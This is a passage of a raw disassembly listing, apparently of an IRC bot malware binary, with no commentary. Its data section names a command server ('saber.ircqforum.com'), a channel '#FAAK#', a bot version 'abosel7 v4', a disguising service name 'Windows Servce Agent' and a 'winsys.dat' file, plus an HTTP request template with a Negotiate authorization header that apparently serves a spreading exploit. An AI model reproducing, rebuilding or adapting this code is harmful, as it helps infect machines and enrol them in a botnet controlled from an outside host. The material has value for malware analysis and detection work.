eax cmp word ptr [esi-2], 0FFFFh jz short loc_426DC4 cmp word ptr [esi], 0FFFFh jnz short loc_426DC4 push edi push ebx push [ebp+arg_C] call sub_41CC90 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426DC6 ; --------------------------------------------------------------------------- loc_426DC4: ; CODE XREF: sub_426C13+61j ; sub_426C13+8Ej ... xor eax, eax loc_426DC6: ; CODE XREF: sub_426C13+86j ; sub_426C13+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426C13 endp ; =============== S U B R O U T I N E ======================================= sub_426DD8 proc near ; DATA XREF: ___:00427F7Co ; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D4A8 sub_426DD8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426DF6 mov ecx, [ebp+8] jmp loc_40D4A8 ; --------------------------------------------------------------------------- locret_426DF6: ; CODE XREF: ___:00426DE8j retn ; --------------------------------------------------------------------------- loc_426DF7: ; DATA XREF: sub_40D07Co mov eax, offset dword_427F50 jmp loc_41C91F ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E0C: ; DATA XREF: ___:00427FACo lea ecx, [ebp-1Ch] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E14: ; DATA XREF: sub_40D21Eo mov eax, offset dword_427F80 jmp loc_41C91F ; --------------------------------------------------------------------------- align 10h loc_426E20: ; DATA XREF: sub_40D78Bo mov eax, offset dword_427FB0 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E32: ; DATA XREF: sub_4264FEo mov eax, offset dword_428010 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E44: ; DATA XREF: sub_426573o mov eax, offset dword_4280A8 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E56: ; DATA XREF: sub_4265D0o mov eax, offset dword_4280CC jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E68: ; DATA XREF: sub_426618o mov eax, offset dword_4280F0 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E7A: ; DATA XREF: sub_42669Ao mov eax, offset dword_428150 jmp loc_41C91F ; --------------------------------------------------------------------------- dd 5Fh dup(0) dd 25D0000h, 25E0000h, 25F0000h, 25F06AFh, 2600000h, 2600AF1h dd 2610000h, 261056Eh, 26105E1h, 2620000h, 26208E9h, 2630000h dd 263029Dh, 2630A24h, 2630CABh dword_42703C dd 2630CE8h ; DATA XREF: ___:004231D9r dd 2640000h, 2640357h, 2640398h, 26404ACh, 2650000h, 2660000h dd 2670000h, 26703A8h, 267080Eh, 77E75CB5h dword_427068 dd 2670822h ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2670B1Dh, 2680000h, 2680AB1h dword_427078 dd 2690000h ; DATA XREF: sub_40111D+29r ; sub_401ACD+318Br ... dword_42707C dd 2690088h ; DATA XREF: ___:004015E2r ; sub_410CD5+32r dd 2690292h dword_427084 dd 269039Ch ; DATA XREF: sub_4196BC+B9r dd 26908D7h dword_42708C dd 26908FFh ; DATA XREF: sub_410FF8:loc_411089r dword_427090 dd 2690967h ; DATA XREF: ___:loc_4013DCr dd 2690C70h, 2690DA5h dword_42709C dd 2690E9Eh ; DATA XREF: sub_409B12+2r dd 26A0000h, 26A00F7h dword_4270A8 dd 26A0617h ; DATA XREF: ___:0040124Dr ; sub_41A4D1+8Cr dword_4270AC dd 26A06C2h ; DATA XREF: sub_410CD5:loc_410DC1r dd 26B0000h, 26B0C8Fh dword_4270B8 dd 26C0000h ; DATA XREF: sub_409B12:loc_40A020r dword_4270BC dd 26C0368h ; DATA XREF: sub_409B12+11r ; sub_416F1A+60r ... dd 26D0000h, 26E0000h, 26E049Bh, 26F0000h, 77F7E300h, 77F7E21Fh dd 26F05DBh, 26F07A8h, 2700000h, 2700870h dword_4270E8 dd 2710000h ; DATA XREF: sub_410FF8+Br dword_4270EC dd 27108ABh ; DATA XREF: sub_418293+36r dd 2710B5Eh, 2720000h dword_4270F8 dd 27204F0h ; DATA XREF: sub_410F1F+3Ar ; sub_419C64+79r dword_4270FC dd 2730000h ; DATA XREF: sub_410E26+23r ; sub_419C64+3Br dd 273149Ah, 2740000h, 2750000h, 27503B5h, 2760000h, 276059Bh dd 2770000h, 2780000h, 2780BC0h, 2790000h, 27900D7h, 27901DBh dd 2790A55h, 27A0000h, 27A04A6h dword_42713C dd 27A0792h ; DATA XREF: sub_416F1A+BCr dd 27B0000h dword_427144 dd 27C0000h ; DATA XREF: sub_4170EC+21r ; sub_417275+4Ar dword_427148 dd 27C0B6Dh ; DATA XREF: sub_4170EC+10r ; sub_417275+40r ... dd 27C0BF0h dword_427150 dd 27D0000h ; DATA XREF: sub_417275+56r dd 27D0226h, 27E0000h, 27F0000h, 27F066Eh, 2800000h, 2800327h dd 28004D9h, 2810000h, 28106F2h, 2820000h dword_42717C dd 28210E3h ; DATA XREF: sub_418B58+13r ; ___:0042324Er ... dword_427180 dd 2830000h ; DATA XREF: sub_418C2A+Fr ; sub_41D834+54r ... dd 283105Dh, 283140Ch, 2831914h, 2831CD2h, 2840000h, 2850000h dd 28521ABh, 2860000h, 286101Dh, 2870000h, 287198Dh, 2871997h dd 2880000h, 2880D74h, 2890000h dword_4271C0 dd 2890608h ; DATA XREF: sub_41DEA2+240r dword_4271C4 dd 2890763h ; DATA XREF: sub_41E976:loc_41E9A7r dd 28908C6h, 28A0000h, 28A0786h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412660+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h dd 71AB1746h, 71AB3E5Dh dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE2+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 0 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: sub_401ACD+347Co ; sub_401ACD+356Co ... align 10h aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401ACD+389Co ; sub_401ACD+38D2o ... align 4 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40D030+2Fr dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40D030+15r dword_427698 dd 0FFFFFFFFh ; DATA XREF: sub_40D07C+16Fr ; sub_40D4B0r ... align 10h dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40D07C+79r dword_4276A8 dd 0 ; DATA XREF: sub_40D21E+4Do ; sub_40D560+5Bo ... flt_4276AC dd 5.0e-1 ; DATA XREF: ___:0040DD33r dbl_4276B0 dq 9.765625e-4 ; DATA XREF: ___:004166B6r ; ___:004166D1r ... dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_417ADD+3E5r dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_417ADD+3C5r dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_417ADD+342r ; sub_417ADD+3A7r dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_417ADD+271r dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_417ADD+24Br ; sub_417ADD+2D5r ... dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_417ADD+E1r dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_417ADD+AEr ; sub_417ADD+138r ... dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_417ADD+93r ; sub_417ADD+308r dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_417ADD+21r dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418684+2Br flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41A4D1+1B0r flt_42770C dd 8.0 ; DATA XREF: sub_41A4D1+1AAr flt_427710 dd 0.0 ; DATA XREF: sub_41A4D1+171r flt_427714 dd 1.0e-3 ; DATA XREF: sub_41A4D1+168r dbl_427718 dq 1.0 ; DATA XREF: sub_41C679+6Cr ; sub_41C7BF+6Cr ... dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o align 4 byte_42775C db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43C514o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43C510o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43C78Co dbl_427880 dq 0.0 ; DATA XREF: sub_42135F+8Cr ; sub_42135F+ACr ... dbl_427888 dq 4.195835e6 ; DATA XREF: sub_421874+Fr dbl_427890 dq 3.145727e6 ; DATA XREF: sub_421874+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o align 4 dword_4278C8 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o dd offset loc_42224A align 8 dd offset sub_422228 dd offset sub_422232 dword_4278F0 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o dword_427900 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o dword_427910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o dd offset loc_4225AD align 10h dd offset loc_422599 dd offset loc_42259D dword_427928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o dd offset loc_422603 align 8 dd offset loc_4225EF dd offset loc_4225F3 dword_427940 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o ; sub_423CEC+39o ... dword_427948 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h ; DATA XREF: sub_422ACA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43C95Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o align 10h asc_427C10 db 0Ah ; DATA XREF: sub_4235C9+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_4235C9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do align 10h dword_427C50 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo align 10h dword_427CF0 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh ; DATA XREF: sub_425F03+5o dd 427E2Ch off_427D0C dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o ; sub_4264FE+2Co ... dd offset sub_4264D5 dd offset sub_4266F6 dd offset dword_427E78 off_427D1C dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao ; sub_426568o ... dd offset sub_4264D5 dd offset loc_426732 dword_427D28 dd 0 ; DATA XREF: sub_4264FE+16o ; sub_4265D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o dd offset dword_427EC4 off_427D48 dd offset sub_42665B ; DATA XREF: sub_426677o ; sub_42669A+37o ... dd offset sub_4264D5 dd offset loc_426714 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o dd offset dword_427F08 off_427D68 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o ; ___:off_43D084o ... dd offset dword_427F38 off_427D70 dd offset loc_426813 ; DATA XREF: sub_42682F+8o ; sub_42686C+8o ... dd offset sub_4268CC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o align 10h dword_427D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo dd 3, 19930520h, 2 dup(0) dword_427DB0 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh ; DATA XREF: sub_426988+5o dword_427DC8 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h ; DATA XREF: sub_426C13+5o dd 43D084h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DF8 dd offset off_43D09C ; DATA XREF: ___:00427E10o ; ___:00427E5Co ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DF8 dd offset dword_427DC8+18h dword_427E18 dd 3 dup(0) ; DATA XREF: ___:00427E3Co dd 2, 427E10h, 3 dup(0) dd offset off_43D09C dd offset dword_427E18+4 off_427E40 dd offset off_43D0BC ; DATA XREF: ___:00427E58o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E40 dd offset off_427DF8 dd offset dword_427DC8+18h dd 0 db 0 ; DATA XREF: ___:00427E88o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427E58h dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427D18o dd offset off_43D0BC dd offset unk_427E68 off_427E8C dd offset off_43D0DC ; DATA XREF: ___:00427EA4o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E8C dd offset off_427DF8 dd offset dword_427DC8+18h dword_427EB0 dd 3 dup(0) ; DATA XREF: ___:00427ED4o dd 3, 427EA4h dword_427EC4 dd 3 dup(0) ; DATA XREF: ___:00427D44o dd offset off_43D0DC dd offset dword_427EB0+4 off_427ED8 dd offset off_43D100 ; DATA XREF: ___:00427EF0o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427ED8 dd 0 db 0 ; DATA XREF: ___:00427F18o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427EF0h dword_427F08 dd 3 dup(0) ; DATA XREF: ___:00427D64o dd offset off_43D100 dd offset unk_427EF8 dd offset dword_427DC8+18h dword_427F20 dd 4 dup(0) ; DATA XREF: ___:00427F48o dd 1, 427F1Ch dword_427F38 dd 3 dup(0) ; DATA XREF: ___:00427D6Co dd offset off_43D084 dd offset dword_427F20+8 align 10h dword_427F50 dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o dd 0FFFFFFFFh, 426DE0h, 0 dd offset sub_426DD8 dword_427F80 dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF: ___:loc_426E14o dd 0FFFFFFFFh, 426E04h, 0 dd offset loc_426E0C dword_427FB0 dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3 dup(0) ; DATA XREF: ___:loc_426E20o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FF8h, 4 dup(0) ; --------------------------------------------------------------------------- retf 40D7h ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 426E2Ah dword_428010 dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF: ___:loc_426E32o dd offset off_43D084 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42686Ch, 0 dd offset off_43D09C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426618h, 0 dd offset off_43D0BC align 10h dd 0FFFFFFFFh, 0 dword_428078 dd 1Ch, 426682h, 3, 428064h, 428048h, 42802Ch ; DATA XREF: ___:0042809Co dword_428090 dd 0 ; DATA XREF: sub_426573+2Eo ; sub_4266F6+4Bo dd offset sub_426568 dd 0 dd offset dword_428078+8 dd 0FFFFFFFFh, 426E3Ch dword_4280A8 dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF: ___:loc_426E44o dd 0FFFFFFFFh, 426E4Eh dword_4280CC dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF: ___:loc_426E56o dd 0FFFFFFFFh, 426E60h dword_4280F0 dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF: ___:loc_426E68o dd offset off_43D0DC align 8 dd 0FFFFFFFFh, 0 dword_428120 dd 1Ch, 4266DEh, 3, 42810Ch, 428048h, 42802Ch ; DATA XREF: ___:00428144o dword_428138 dd 0 ; DATA XREF: sub_42669A+2Eo ; sub_4266F6+2Do dd offset sub_426677 dd 0 dd offset dword_428120+8 dd 0FFFFFFFFh, 426E72h dword_428150 dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao dword_42816C dd 2, 428048h, 42802Ch ; DATA XREF: ___:00428184o dword_428178 dd 0 ; DATA XREF: sub_4266F6+Fo dd offset sub_4264BA dd 0 dd offset dword_42816C dd 5 dup(25215992h), 5 dup(5E1C4FE0h), 5 dup(2C89538Ah) dd 7Ah dup(0) dd 2C89538Ah, 0 dd 25215992h, 15h dup(0) dd 5E1C4FE0h, 2FCh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o dd offset loc_401205 dd offset sub_40D878 dd offset sub_40D89A dd offset dword_40E504+1CFh dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo dword_429018 dd 0 ; DATA XREF: ___:0041B794o dd offset sub_41D052 dd offset sub_42026D dd offset sub_423936 dd offset word_424752 dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o dd offset sub_4239DB dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o dd offset byte_424763 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Br dword_429078 dd 45h ; DATA XREF: sub_401ACD+2088r ; sub_40BACD+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C43r ; sub_40BACD:loc_40BEBEr dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DCFr word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Er align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_418359+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r ; sub_401ACD+B4Br ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40ACB5+3Ar ; sub_40ACB5+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aDark db 'Dark',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_4044A0o ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404945o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDBo ; sub_401ACD+7EAAo align 10h aSaber_ircqforu db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_429108 db 6Dh ; DATA XREF: ___:00401364o ; ___:00401388w ... db 73h, 6Eh, 6Dh dd 7261676Eh, 6578652Eh, 0 dword_429118 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o aWindowsServceA db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo align 4 asc_42913C: ; DATA XREF: ___:0040AD34o unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; 